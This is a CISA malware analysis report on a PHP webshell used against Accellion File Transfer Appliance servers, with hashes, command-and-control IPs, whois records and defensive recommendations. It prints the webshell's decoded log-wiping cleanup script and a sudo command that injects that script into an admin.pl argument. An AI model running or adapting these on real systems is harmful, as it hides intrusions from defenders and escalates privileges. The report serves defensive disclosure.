# MAR-10325064-1.v1 - Accellion FTA | CISA

Published: 2021-02-24 · Archived: 2026-04-05 17:36:01 UTC

body#cma-body { font-family: Franklin Gothic Medium, Franklin Gothic, ITC Franklin Gothic, Arial, sans-serif; font-size: 15px; } table#cma-table { width: 900px; margin: 2px; table-layout: fixed; border-collapse: collapse; } div#cma-exercise { width: 900px; height: 30px; text-align: center; line-height: 30px; font-weight: bold; font-size: 18px; } div.cma-header { text-align: center; margin-bottom: 40px; } div.cma-footer { text-align: center; margin-top: 20px; } h2.cma-tlp { background-color: #000; color: #ffffff; width: 180px; height: 30px; text-align: center; line-height: 30px; font-weight: bold; font-size: 18px; float: right; } span.cma-fouo { line-height: 30px; font-weight: bold; font-size: 16px; } h3.cma-section-title { font-size: 18px; font-weight: bold; padding: 0 10px; margin-top: 10px; } h4.cma-object-title { font-size: 16px; font-weight: bold; margin-left: 20px; } h5.cma-data-title { padding: 3px 0 3px 10px; margin: 10px 0 0 20px; background-color: #e7eef4; font-size: 15px; } p.cma-text { margin: 5px 0 0 25px !important; word-wrap: break-word !important; } div.cma-section { border-bottom: 5px solid #aaa; margin: 5px 0; padding-bottom: 10px; } div.cma-avoid-page-break { page-break-inside: avoid; } div#cma-summary { page-break-after: always; } div#cma-faq { page-break-after: always; } table.cma-content { border-collapse: collapse; margin-left: 20px; } table.cma-hashes { table-layout: fixed; width: 880px; } table.cma-hashes td{ width: 780px; word-wrap: break-word; } .cma-left th { text-align: right; vertical-align: top; padding: 3px 8px 3px 20px; background-color: #f0f0f0; border-right: 1px solid #aaa; } .cma-left td { padding-left: 8px; } .cma-color-title th, .cma-color-list th, .cma-color-title-only th { text-align: left; padding: 3px 0 3px 20px; background-color: #f0f0f0; } .cma-color-title td, .cma-color-list td, .cma-color-title-only td { padding: 3px 20px; } .cma-color-title tr:nth-child(odd) { background-color: #f0f0f0; } .cma-color-list tr:nth-child(even) { background-color: #f0f0f0; } td.cma-relationship { max-width: 310px; word-wrap: break-word; } ul.cma-ul { margin: 5px 0 10px 0; } ul.cma-ul li { line-height: 20px; margin-bottom: 5px; word-wrap: break-word; } #cma-survey { font-weight: bold; font-style: italic; } div.cma-banner-container { position: relative; text-align: center; color: white; } img.cma-banner { max-width: 900px; height: auto; } img.cma-nccic-logo { max-height: 60px; width: auto; float: left; margin-top: -15px; } div.cma-report-name { position: absolute; bottom: 32px; left: 12px; font-size: 20px; } div.cma-report-number { position: absolute; bottom: 70px; right: 100px; font-size: 18px; } div.cma-report-date { position: absolute; bottom: 32px; right: 100px; font-size: 18px; } img.cma-thumbnail { max-height: 100px; width: auto; vertical-align: top; } img.cma-screenshot { margin: 10px 0 0 25px; max-width: 800px; height: auto; vertical-align: top; border: 1px solid #000; } div.cma-screenshot-text { margin: 10px 0 0 25px; } .cma-break-word { word-wrap: break-word; } .cma-tag { border-radius: 5px; padding: 1px 10px; margin-right: 10px; } .cma-tag-info { background: #f0f0f0; } .cma-tag-warning { background: #ffdead; }

## Notification



## Summary

#### Description

This Malware Analysis Report (MAR) analyzes a malicious Hypertext Preprocessor (PHP) webshell file submitted to CISA for analysis. The webshell is designed to be uploaded to an Accellion File Transfer Appliance (FTA) server, a secure file transfer application used by customers to send large files. The webshell leverages a Structured Query Language (SQL) injection vulnerability to install itself onto the impacted FTA server. The webshell provides threat actors with the ability to locate files, obtain file metadata, and download files stored on the Accellion FTA server.

This webshell has been used in recent cyberattacks targeting users of Accellion FTA. For more information on these attacks, refer to Joint Cybersecurity Advisory AA21-055A.

For a downloadable copy of IOCs, see: MAR-10325064-1.v1.stix.

#### Submitted Files (1)

2e0df09fa37eabcae645302d9865913b818ee0993199a6d904728f3093ff48c7 (about.html)

#### IPs (9)

155.94.160.40

192.52.167.101

194.88.104.24

197.156.107.83

209.163.151.232

209.58.189.165

45.135.229.179

79.141.162.82

92.38.135.29

### Findings

#### 2e0df09fa37eabcae645302d9865913b818ee0993199a6d904728f3093ff48c7

#### Tags

webshell

#### Details

| | |
|---|---|
| **Name** | about.html |
| **Size** | 3202 bytes |
| **Type** | PHP script, ASCII text, with very long lines |
| **MD5** | bdfd11b1b092b7c61ce5f02ffc5ad55a |
| **SHA1** | 9bbaf89be60a5c455ae5b14cbead82fce22f3b66 |
| **SHA256** | 2e0df09fa37eabcae645302d9865913b818ee0993199a6d904728f3093ff48c7 |
| **SHA512** | 8e9e1fd5d1798b519bb477050b0e817be7523b92715958446d4133f97923a1a6dc726c7d7009da6ecd3bf674e88ae428a45300cbe8f4b362 |
| **ssdeep** | 96:jh58DD+hpmEr4YkPdvrf50ZPbAmLkysSJBLUNf++m:GahpmErBmZrfKVsrysSJBz |
| **Entropy** | 5.641443 |

#### Antivirus

No matches found.

#### YARA Rules

No matches found.

#### ssdeep Matches

No matches found.

#### Relationships

| | | |
|---|---|---|
| 2e0df09fa3... | Related_To | 209.58.189.165 |
| 2e0df09fa3... | Related_To | 197.156.107.83 |
| 2e0df09fa3... | Related_To | 194.88.104.24 |
| 2e0df09fa3... | Related_To | 45.135.229.179 |
| 2e0df09fa3... | Related_To | 92.38.135.29 |

| | | |
|---|---|---|
| 2e0df09fa3... | Related_To | 155.94.160.40 |
| 2e0df09fa3... | Related_To | 209.163.151.232 |
| 2e0df09fa3... | Related_To | 79.141.162.82 |
| 2e0df09fa3... | Related_To | 192.52.167.101 |

**Description**

The file, about.html, is a malicious Hypertext Preprocessor (PHP) webshell which leverages a SQL injection vulnerability to install itself onto the compromised Accellion FTA server. When the webshell is successfully installed, it provides threat actors the ability to download files stored on the FTA server.

Analysis indicates that the FTA server was compromised, which allows the threat actor the ability to craft an HTTP request directly to the webshell with commands that will be executed as if the threat actor had local (shell) access to the FTA server.

When executed on the compromised FTA server, the webshell will attempt to check if the HTTP request accessing this resource includes the parameters, "dwn" and "fn" (Figure 2). If the two parameters are available in the HTTP request, then the webshell will use the decrypt function to decrypt the contents of the original "dwn" parameter and store it in the value named "$path". It conducts the same process on the "fn" parameter and stores the value in the variable named "$fname". The webshell checks if the file located at "$path" exists on the compromised FTA server. If the file exits, then the "$path" and "$fname" variables are used to call the readfile function to read and download the contents of the targeted file.

Note: The encrypt and decrypt functions are undefined in the webshell, it's possible that both functions are included in either one or two of the files referenced by the webshell, "function.inc" and "remote.inc".

The file checks if the HTTP request has the parameter "csrftoken" and the parameter has the value "11454bd782bb41db213d415e10a0fb3c" (Figure 3). If so, the webshell will use the clean_up function to delete itself from the victim's system.

The clean_up function contains another function, file_put_contents. This function is used by the webshell to create the file "/tmp/.scr" and decode an encoded base64 string contained in the file (Figure 4).

Displayed below are the contents within the decoded base64 encoded string:

```
--Begin decoded contents within the base64 encoded string--
#!/bin/sh
for log in `ls /var/opt/apache/*log*`;do cat $log 2>/dev/null | grep -v 'about.html' > /tmp/x;mv /tmp/x $log;rm -rf
/tmp/x;done
echo -n > /home/seos/log/adminpl.log;
rm -rf /home/httpd/html/about.html > /tmp/.out
rm -rfv /home/httpd/html/oauth.api > /tmp/.out
chmod 777 /tmp/.out
chown nobody:nobody /tmp/.out
echo > /var/log/secure
--End decoded contents within the base64 encoded string--
```

The decoded content "/tmp/.scr" is a script file used by the webshell to evade detection and analysis. The script file is designed to iterate through all logs in "/var/opt/apache/*log*" on the victim's system and return all the results not pertaining to about.html and store them in "/tmp/x". This file is used to replace the original log file before removing the file "/tmp/x" from the victim's system. This will results in Apache logs that have been sterilized for references to about.html and hinders log analysis capabilities.

The script file will attempt to remove "/home.seos/courier/about.html" and "/home/seos/courier/oauth.api" from the victim's system. Once these files are removed, it will redirects standard output to "/tmp/.out" before modifying its ownership and permissions making it more difficult to recover and analyze.

The script file is executed by invoking the Perl System function, which is used for executing arbitrary Unix commands on a system. The "admin.pl" is used to execute the script file.

Displayed below is the command used to execute the script file:

```
--Begin command--
@system('sudo /usr/local/bin/admin.pl --mount_cifs=AF,DF,"\"$(sh /tmp/.scr)\"",PASSWORD 1>/dev/null 2>/dev/null');
--End command--
```

The script file "/tmp/.scr" and "/tmp/.out" will later be unlinked and deleted from the victim's system.

If the HTTP request does not match the parameters for downloading file contents (Figure 2) or performing the cleanup process (Figure 3), then the webshell expects to receive an application ID from the parameter aid obtained from the HTTP request (Figure 5). This application ID is used to open the associated database and execute a SQL command against it (Figure 6).

The cleanup mechanism is invoked to remove the webshell from the system and Apache logs only if the webshell returns no results from the SQL query executed on the victim's system. If the webshell returns results from the SQL query executed on the victim's system, then the results are returned to the webshell in a table (Figure 1). This technique allows the threat actor to manually download file contents or initiate the cleanup process by clicking on their respective links.

Displayed below are Indicators of Compromise (IOCs) related to this malicious webshell:

--Begin file system artifacts contained in the webshell--
/home/seos/courier/about.html
/tmp/.scr
/tmp/.out
--End file system artifacts contained in the webshell--

--Begin IP addresses--
209.58.189.165
197.156.107.83
194.88.104.24
45.135.229.179
92.38.135.29
155.94.160.40
209.163.151.232
79.141.162.82
192.52.167.101
--End IP addresses--

The URIs contains the following parameters (Figure 2&5):
--Begin URIs parameters--
dwn
fn
aid
--End URIs parameters--

URIs contains the following parameter and its corresponding value (Figure 3):

--Begin URIs parameter and value--
parameter: csrftoken
value: 11454bd782bb41db213d415e10a0fb3c
--End URIs parameter and value--

#### Screenshots

**Figure 1 -** The webshell opened in a web browser. Note: The output of the webshell opened in a web browser is very different since it was opened on a system without Accellion.

**Figure 2 -** The webshell contains a functionality used to download targeted files from the FTA server. The webshell verifies if the HTTP request contains the parameters "dwn" and "fn" prior to downloading the targeted file.

**Figure 3 -** The webshell checks if the HTTP request has the parameter "csrftoken" and a corresponding value "11454bd782bb41db213d415e10a0fb3c". If so, it uses the clean_up function to delete itself from the victim's system.

**Figure 4 -** The webshell creates the script file "/tmp/.scr" and decodes an encoded base64 string contained in the script file.

**Figure 5 -** The webshell uses the aid parameter to open associated database and execute a SQL command against it.

**Figure 6 -** This is the SQL Command executed against the associated database.

### 209.58.189.165

#### Tags

command-and-control

**Whois**

inetnum: 209.58.184.0 - 209.58.191.255
netname: LSW-HKG-10
descr: LeaseWeb Asia Pacific - Hong Kong
descr: Please send all abuse notifications to the following email address: abuse@sg.leaseweb.com. To ensure proper processing of your abuse notification, please visit the website www.leaseweb.com/abuse for notification requirements. All police and other government agency requests must be sent to subpoenas@sg.leaseweb.com.
country: HK
admin-c: LA249-AP
tech-c: LA249-AP
abuse-c: AL1457-AP
status: ALLOCATED NON-PORTABLE
mnt-by: MAINT-LSW-SG
mnt-irt: IRT-LSW-SG
last-modified: 2021-01-27T13:17:29Z
source: APNIC

irt: IRT-LSW-SG
address: 18B Keong Saik Road, Singapore 089125
e-mail: apnic@sg.leaseweb.com
abuse-mailbox: abuse@sg.leaseweb.com
admin-c: LAPP1-AP
tech-c: LAPP1-AP
auth: # Filtered
remarks: apnic@sg.leaseweb.com was validated on 2020-12-23
remarks: abuse@sg.leaseweb.com was validated on 2021-02-04
mnt-by: MAINT-LSW-SG
last-modified: 2021-02-04T12:48:04Z
source: APNIC

role: ABUSE LSWSG
address: 18B Keong Saik Road, Singapore 089125
country: ZZ
phone: +000000000
e-mail: apnic@sg.leaseweb.com
admin-c: LAPP1-AP
tech-c: LAPP1-AP
nic-hdl: AL1457-AP
remarks: Generated from irt object IRT-LSW-SG
abuse-mailbox: abuse@sg.leaseweb.com
mnt-by: APNIC-ABUSE
last-modified: 2020-06-03T13:05:57Z
source: APNIC

person: LSW Apnic
address: 18B Keong Saik Road, Singapore 089125
country: SG
phone: +6531587350
e-mail: apnic@sg.leaseweb.com
nic-hdl: LA249-AP
mnt-by: MAINT-LSW-SG
last-modified: 2016-06-06T08:59:04Z
source: APNIC

% Information related to '209.58.184.0/21AS133752'

route: 209.58.184.0/21
descr: LeaseWeb Asia Pacific Hong Kong
origin: AS133752
mnt-by: MAINT-LSW-SG

last-modified: 2015-10-22T06:43:03Z
source: APNIC

**Relationships**

| | | |
|---|---|---|
| 209.58.189.165 | Related_To | 2e0df09fa37eabcae645302d9865913b818ee0993199a6d904728f3093ff48c7 |

**Description**

The webshell attempts to connect to this IP address.

**197.156.107.83**

**Tags**

command-and-control

**Whois**

inetnum: 197.156.106.0 - 197.156.107.255
netname: To_ERs_logically_close_to_MK-BR
descr: To ERs logically close to MK-BR
country: ET
admin-c: ET4-AFRINIC
tech-c: ETID1-AFRINIC
status: ASSIGNED PA
mnt-by: ETC-MNT
source: AFRINIC # Filtered
parent: 197.156.64.0 - 197.156.127.255

person: Ethio Telecom
nic-hdl: ET4-AFRINIC
address: Churchill Road
address: Addis Ababa 1047
address: Ethiopia
phone: tel:+251-91-151-0433
phone: tel:+251-91-152-4200
phone: tel:+251-91-150-8279
phone: tel:+251-91-150-9821
phone: tel:+251-91-151-0425
phone: tel:+251-91-150-9835
mnt-by: GENERATED-GRXPERJUPKL2DTQEXFFNEHRZHJZDFRJ7-MNT
source: AFRINIC # Filtered

person: Ethio Telecom IS Division
address: Ethio telecom
address: Legehar Information System division
address: Addis Ababa, Ethiopia
address: Addis Ababa
address: Ethiopia
phone: tel:+251-91-125-6562
fax-no: tel:+251-11-552-3296
nic-hdl: ETID1-AFRINIC
mnt-by: GENERATED-ZPSFE1E8AGHQZZFKT4YYQSIX58FJ1MZ4-MNT
source: AFRINIC # Filtered

% Information related to '197.156.64.0/18AS24757'

route: 197.156.64.0/18
descr: Ethio Telecom
origin: AS24757
member-of: rs-ethiotelecom
mnt-by: ETC-MNT
source: AFRINIC # Filtered

**Relationships**

| | | |
|---|---|---|
| 197.156.107.83 | Related_To | 2e0df09fa37eabcae645302d9865913b818ee0993199a6d904728f3093ff48c7 |

**Description**

The webshell attempts to connect to this IP address.

**194.88.104.24**

**Tags**

command-and-control

**Relationships**

| | | |
|---|---|---|
| 194.88.104.24 | Related_To | 2e0df09fa37eabcae645302d9865913b818ee0993199a6d904728f3093ff48c7 |

**Description**

The webshell attempts to connect to this IP address.

**45.135.229.179**

**Tags**

command-and-control

**Whois**

inetnum: 45.135.229.0 - 45.135.229.255
netname: GCL-CUSTOMER-US
descr: G-Core Labs Customer assignment
country: US
admin-c: LA5122-RIPE
tech-c: LA5122-RIPE
status: ASSIGNED PA
mnt-by: GCL1-MNT
created: 2019-12-05T12:00:26Z
last-modified: 2019-12-05T12:00:26Z
source: RIPE
geoloc: 38.747203 -77.531658

person: LIR Admin
address: G-Core Labs S.A.
address: 2A Rue Albert Borschette
address: 1246 Luxembourg
phone: +352-691-045488
e-mail: noc@gcore.lu
nic-hdl: LA5122-RIPE
mnt-by: WGI1-MNT
mnt-by: GCL1-MNT
created: 2012-12-05T15:05:34Z
last-modified: 2015-12-10T08:56:40Z
source: RIPE

% Information related to '45.135.229.0/24AS199524'

route: 45.135.229.0/24
descr: GCL-45-135-229-0-24
origin: AS199524
mnt-by: GCL1-MNT
created: 2019-08-12T12:36:11Z

last-modified: 2019-08-12T12:36:11Z
source: RIPE

**Relationships**

| | | |
|---|---|---|
| 45.135.229.179 | Related_To | 2e0df09fa37eabcae645302d9865913b818ee0993199a6d904728f3093ff48c7 |

**Description**

The webshell attempts to connect to this IP address.

**92.38.135.29**

**Tags**

command-and-control

**Whois**

inetnum: 92.38.134.0 - 92.38.135.255
netname: GCL-CUSTOMER-KOREA
descr: G-Core Labs Customer assignment
country: KR
org: ORG-WIG6-RIPE
admin-c: LA5122-RIPE
tech-c: LA5122-RIPE
mnt-by: GCL1-MNT
status: ASSIGNED PA
created: 2017-09-25T13:07:39Z
last-modified: 2017-09-25T13:07:39Z
source: RIPE
geoloc: 37.534 126.991

organisation: ORG-WIG6-RIPE
org-name: G-Core Labs S.A.
country: LU
org-type: LIR
address: 2A Rue Albert Borschette
address: 1246
address: Luxembourg
address: LUXEMBOURG
phone: +375293666245
e-mail: noc@gcore.lu
abuse-c: AC23417-RIPE
mnt-ref: GCL1-MNT
mnt-ref: RIPE-NCC-HM-MNT
mnt-by: GCL1-MNT
mnt-by: RIPE-NCC-HM-MNT
created: 2012-12-05T13:21:56Z
last-modified: 2020-12-16T14:53:47Z
source: RIPE

person: LIR Admin
address: G-Core Labs S.A.
address: 2A Rue Albert Borschette
address: 1246 Luxembourg
phone: +352-691-045488
e-mail: noc@gcore.lu
nic-hdl: LA5122-RIPE
mnt-by: WGI1-MNT
mnt-by: GCL1-MNT
created: 2012-12-05T15:05:34Z

last-modified: 2015-12-10T08:56:40Z
source: RIPE

% Information related to '92.38.135.0/24AS199524'

route: 92.38.135.0/24
descr: GCL-92-38-135
origin: AS199524
mnt-by: GCL1-MNT
created: 2017-07-31T09:22:46Z
last-modified: 2017-07-31T09:22:46Z
source: RIPE

% Information related to '92.38.135.0/24AS202422'

route: 92.38.135.0/24
descr: GCL-92-38-135-0-24
origin: AS202422
mnt-by: GCL1-MNT
created: 2019-06-26T15:14:58Z
last-modified: 2019-06-26T15:14:58Z
source: RIPE

**Relationships**

| | | |
|---|---|---|
| 92.38.135.29 | Related_To | 2e0df09fa37eabcae645302d9865913b818ee0993199a6d904728f3093ff48c7 |

**Description**

The webshell attempts to connect to this IP address.

**155.94.160.40**

**Tags**

command-and-control

**Whois**

NetRange: 155.94.160.0 - 155.94.160.255
CIDR: 155.94.160.0/24
NetName: QN-246326932
NetHandle: NET-155-94-160-0-1
Parent: QUADRANET (NET-155-94-128-0-1)
NetType: Reassigned
OriginAS:
Customer: myserverplanet ltd (C05467676)
RegDate: 2014-11-24
Updated: 2014-11-24
Comment: Abuse: abuse@quadranet.com
Ref: https://rdap.arin.net/registry/ip/155.94.160.0

CustName: myserverplanet ltd
Address: 117 E. First Street
City: Monticello
StateProv: IA
PostalCode: 52310
Country: US
RegDate: 2014-11-24
Updated: 2018-08-30
Ref: https://rdap.arin.net/registry/entity/C05467676

OrgTechHandle: QNO6-ARIN
OrgTechName: QuadraNet Network Operations

OrgTechPhone: +1-213-614-9371
OrgTechEmail: support@quadranet.com
OrgTechRef: https://rdap.arin.net/registry/entity/QNO6-ARIN

OrgAbuseHandle: QUADR4-ARIN
OrgAbuseName: QuadraNet Abuse
OrgAbusePhone: +1-213-614-8371
OrgAbuseEmail: abuse@quadranet.com
OrgAbuseRef: https://rdap.arin.net/registry/entity/QUADR4-ARI

**Relationships**

| | | |
|---|---|---|
| 155.94.160.40 | Related_To | 2e0df09fa37eabcae645302d9865913b818ee0993199a6d904728f3093ff48c7 |

**Description**

The webshell attempts to connect to this IP address.

**209.163.151.232**

**Tags**

command-and-control

**Whois**

NetRange: 209.163.151.0 - 209.163.151.255
CIDR: 209.163.151.0/24
NetName: TWTC-DIGDEF-01
NetHandle: NET-209-163-151-0-1
Parent: TWTC-NETBLK-12 (NET-209-163-128-0-1)
NetType: Reassigned
OriginAS:
Organization: DIGITAL DEFENSE INCORPORATED (DIGIT-45)
RegDate: 2004-03-31
Updated: 2009-08-31
Ref: https://rdap.arin.net/registry/ip/209.163.151.0

OrgName: DIGITAL DEFENSE INCORPORATED
OrgId: DIGIT-45
Address: 1711 CITADEL PLAZA
City: SAN ANTONIO
StateProv: TX
PostalCode: 78209
Country: US
RegDate: 2004-03-31
Updated: 2017-11-06
Ref: https://rdap.arin.net/registry/entity/DIGIT-45

**Relationships**

| | | |
|---|---|---|
| 209.163.151.232 | Related_To | 2e0df09fa37eabcae645302d9865913b818ee0993199a6d904728f3093ff48c7 |

**Description**

The webshell attempts to connect to this IP address.

**79.141.162.82**

**Tags**

command-and-control

**Whois**

inetnum: 79.141.162.0 - 79.141.163.255
netname: HZ-NA23
country: US
admin-c: VD3206-RIPE
tech-c: VD3206-RIPE
status: ASSIGNED PA
mnt-by: HZ-HOSTING-LTD
created: 2018-08-03T14:27:37Z
last-modified: 2018-08-03T14:27:37Z
source: RIPE

nic-hdl: VD3206-RIPE
mnt-by: HZ-HOSTING-LTD
created: 2016-11-28T15:25:07Z
last-modified: 2016-11-28T15:25:07Z
source: RIPE

**Relationships**

| | | |
|---|---|---|
| 79.141.162.82 | Related_To | 2e0df09fa37eabcae645302d9865913b818ee0993199a6d904728f3093ff48c7 |

**Description**

The webshell attempts to connect to this IP address.

**192.52.167.101**

**Tags**

command-and-control

**Whois**

NetRange: 192.52.166.0 - 192.52.167.255
CIDR: 192.52.166.0/23
NetName: CROWNCLOUD01
NetHandle: NET-192-52-166-0-1
Parent: NET192 (NET-192-0-0-0-0)
NetType: Direct Allocation
OriginAS: AS29761
Organization: Crowncloud US LLC (CUL-34)
RegDate: 2014-10-14
Updated: 2014-10-16
Comment: Addresses in this block are statically assigned. Send abuse reports if any to admin@crowncloud.us
Ref: https://rdap.arin.net/registry/ip/192.52.166.0

OrgName: Crowncloud US LLC
OrgId: CUL-34
Address: 530 W 6th St
Address: C/O Cid 4573 Quadranet Inc. Ste 901
City: Los Angeles
StateProv: CA
PostalCode: 90014-1207
Country: US
RegDate: 2014-07-25
Updated: 2017-10-10
Ref: https://rdap.arin.net/registry/entity/CUL-34

OrgAbuseHandle: CROWN9-ARIN
OrgAbuseName: Crowncloud Support
OrgAbusePhone: +1-940-867-4072
OrgAbuseEmail: admin@crowncloud.us
OrgAbuseRef: https://rdap.arin.net/registry/entity/CROWN9-ARIN

OrgTechHandle: CROWN9-ARIN
OrgTechName: Crowncloud Support
OrgTechPhone: +1-940-867-4072
OrgTechEmail: admin@crowncloud.us
OrgTechRef: https://rdap.arin.net/registry/entity/CROWN9-ARIN

**Relationships**

| | | |
|---|---|---|
| 192.52.167.101 | Related_To | 2e0df09fa37eabcae645302d9865913b818ee0993199a6d904728f3093ff48c7 |

**Description**

The webshell attempts to connect to this IP address.

### Relationship Summary

| | | |
|---|---|---|
| 2e0df09fa3... | Related_To | 209.58.189.165 |
| 2e0df09fa3... | Related_To | 197.156.107.83 |
| 2e0df09fa3... | Related_To | 194.88.104.24 |
| 2e0df09fa3... | Related_To | 45.135.229.179 |
| 2e0df09fa3... | Related_To | 92.38.135.29 |
| 2e0df09fa3... | Related_To | 155.94.160.40 |
| 2e0df09fa3... | Related_To | 209.163.151.232 |
| 2e0df09fa3... | Related_To | 79.141.162.82 |
| 2e0df09fa3... | Related_To | 192.52.167.101 |
| 209.58.189.165 | Related_To | 2e0df09fa37eabcae645302d9865913b818ee0993199a6d904728f3093ff48c7 |
| 197.156.107.83 | Related_To | 2e0df09fa37eabcae645302d9865913b818ee0993199a6d904728f3093ff48c7 |
| 194.88.104.24 | Related_To | 2e0df09fa37eabcae645302d9865913b818ee0993199a6d904728f3093ff48c7 |
| 45.135.229.179 | Related_To | 2e0df09fa37eabcae645302d9865913b818ee0993199a6d904728f3093ff48c7 |
| 92.38.135.29 | Related_To | 2e0df09fa37eabcae645302d9865913b818ee0993199a6d904728f3093ff48c7 |
| 155.94.160.40 | Related_To | 2e0df09fa37eabcae645302d9865913b818ee0993199a6d904728f3093ff48c7 |
| 209.163.151.232 | Related_To | 2e0df09fa37eabcae645302d9865913b818ee0993199a6d904728f3093ff48c7 |
| 79.141.162.82 | Related_To | 2e0df09fa37eabcae645302d9865913b818ee0993199a6d904728f3093ff48c7 |
| 192.52.167.101 | Related_To | 2e0df09fa37eabcae645302d9865913b818ee0993199a6d904728f3093ff48c7 |

### Recommendations

CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organization's systems. Any configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts.

- Maintain up-to-date antivirus signatures and engines.
- Keep operating system patches up-to-date.
- Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication.
- Restrict users' ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless required.
- Enforce a strong password policy and implement regular password changes.
- Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
- Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests.
- Disable unnecessary services on agency workstations and servers.

- Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its "true file type" (i.e., the extension matches the file header).
- Monitor users' web browsing habits; restrict access to sites with unfavorable content.
- Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.).
- Scan all software downloaded from the Internet prior to executing.
- Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs).

Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology (NIST) Special Publication 800-83, **"Guide to Malware Incident Prevention & Handling for Desktops and Laptops".**

### Contact Information

### Document FAQ

**What is a MIFR?** A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely manner. In most instances this report will provide initial indicators for computer and network defense. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

**What is a MAR?** A Malware Analysis Report (MAR) is intended to provide organizations with more detailed malware analysis acquired via manual reverse engineering. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

**Can I edit this document?** This document is not to be edited in any way by recipients. All comments or questions related to this document should be directed to the CISA at 1-844-Say-CISA or CISA Central✉.

**Can I submit malware to CISA?** Malware samples can be submitted via three methods:

- Web: https://malware.us-cert.gov
- E-Mail: submit@malware.us-cert.gov✉
- FTP: ftp.malware.us-cert.gov (anonymous)

CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on CISA's homepage at www.cisa.gov.

---